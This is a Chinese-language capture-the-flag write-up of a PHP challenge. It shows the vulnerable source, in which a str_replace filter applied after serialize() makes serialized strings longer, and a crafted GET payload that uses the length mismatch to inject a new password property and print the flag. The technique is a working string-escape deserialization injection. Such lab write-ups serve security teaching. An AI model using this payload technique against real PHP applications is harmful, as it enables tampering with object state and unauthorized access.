Serialize 注入 - str_replace漏洞利用

题目来自月饼杯 web1_此夜圆
题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这里我们发现__wakeup()函数里才有获取到 flag 的函数,不能绕过,这里只有一个 GET 修改 uname,说明就是要在 serialize 里覆盖 password 来获取到 flag。
看到有一个 filter 函数会套在 serialize 函数外面,这种格式会导致序列化后字符个数不匹配,在反序列化过程中,他会按照字符个数去匹配参数内容,如果不匹配那么 wakeup 函数就会失效,该参数也会清空,这里每出现一个Firebasky就会多两个字符,这样的话就允许我们模仿序列化后的格式去定义 password 来覆盖掉后面的 password,构造 password 会多下面这一部分。

1
;s:8:"password";s:5:"yu22x";}"

这里记得用 ;}” 来结束结构,让后面的 password 无效。
一共多了 30 个字符,刚好是偶数,我们在 uname 里填入 15 个Firebasky,多出来的 15 个 up 就刚刚好把这部分掩盖掉,故构造 payload:

1
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";} 

即可获得 flag。